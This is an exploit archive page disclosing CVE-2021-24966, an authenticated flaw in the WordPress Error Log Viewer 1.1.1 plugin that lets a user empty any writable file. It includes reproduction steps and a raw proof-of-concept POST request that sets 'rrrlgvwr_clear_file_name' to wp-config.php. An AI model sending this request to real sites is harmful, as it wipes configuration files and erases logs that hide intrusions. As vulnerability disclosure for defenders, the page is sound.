what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Error Log Viewer 1.1.1 Arbitrary File Deletion

WordPress Error Log Viewer 1.1.1 Arbitrary File Deletion
Posted Feb 16, 2022
Authored by Ceylan Bozogullarindan

WordPress Error Log Viewer plugin version 1.1.1 suffers from an arbitrary file deletion vulnerability where it can be leveraged to wipe the internal contents of any named file the webserver has permissions to modify.

tags | exploit, arbitrary
advisories | CVE-2021-24966
SHA-256 | 7843e8e75b18428f57bdc21acb14f18fc136fa93c3d8a342f924f3d020b376cd

WordPress Error Log Viewer 1.1.1 Arbitrary File Deletion

Change Mirror Download
# Exploit Title: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)
# Date: 09-11-2021
# Exploit Author: Ceylan Bozogullarindan
# Exploit Website: https://bozogullarindan.com
# Vendor Homepage: https://bestwebsoft.com/
# Software Link: https://bestwebsoft.com/products/wordpress/plugins/error-log-viewer/
# Version: 1.1.1
# Tested on: Linux
# CVE: CVE-2021-24966 (https://wpscan.com/vulnerability/166a4f88-4f0c-4bf4-b624-5e6a02e21fa0)


# Description:

Error Log Viewer is a simple utility plugin that helps to find and view log files with errors right from the WordPress admin dashboard. Get access to all log files from one place. View the latest activity, select logs by date, view a full log file or clear a log file!

I've especially emphasized "clearing a log file" statement because the feature of "clearing a log file" can be used to delete an arbitrary file in a Wordpress web site. The reason of the vulnerability is that, the value of a file path which is going to be deleted is not properly and sufficiently controlled. Name of the parameter leading to the vulnerability is "rrrlgvwr_clear_file_name". It can be manipulated only authenticated users.

An attacker can use this vulnerability; to destroy the web site by deleting wp-config.php file, or to cover the fingerprints by clearing related log files.

# Steps To Reproduce

1. Install and activate the plugin.
2. Click the "Log Monitor" available under Error Log Viewer menu item.
3. Choose a log file to clear.
4. Intercept the request via Burp or any other local proxy tool.
5. Replace the value of the parameter "rrrlgvwr_clear_file_name" with a file path which is going to be cleared, such as /var/www/html/wp-config.php.
6. Check the content of the cleared file. You will see that the file is empty.


# PoC - Supported Materials

---------------------------------------------------------------------------
POST /wp-admin/admin.php?page=rrrlgvwr-monitor.php HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 603
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: [admin+]

rrrlgvwr_select_log=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Flearnpress%2Finc%2Fgateways%2Fpaypal%2Fpaypal-ipn%2Fipn_errors.log&rrrlgvwr_lines_count=10&rrrlgvwr_from=&rrrlgvwr_to=&rrrlgvwr_show_content=all&rrrlgvwr_newcontent=%5B05-Feb-2015+07%3A28%3A49+UTC%5D+Invalid+HTTP+request+method.%0D%0A%0D%0A++++++++++++++++++++++++&rrrlgvwr_clear_file=Clear+log+file&rrrlgvwr_clear_file_name=/var/www/html/wp-config.php&rrrlgvwr_nonce_name=1283d54cc5&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Drrrlgvwr-monitor.php
---------------------------------------------------------------------------

Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close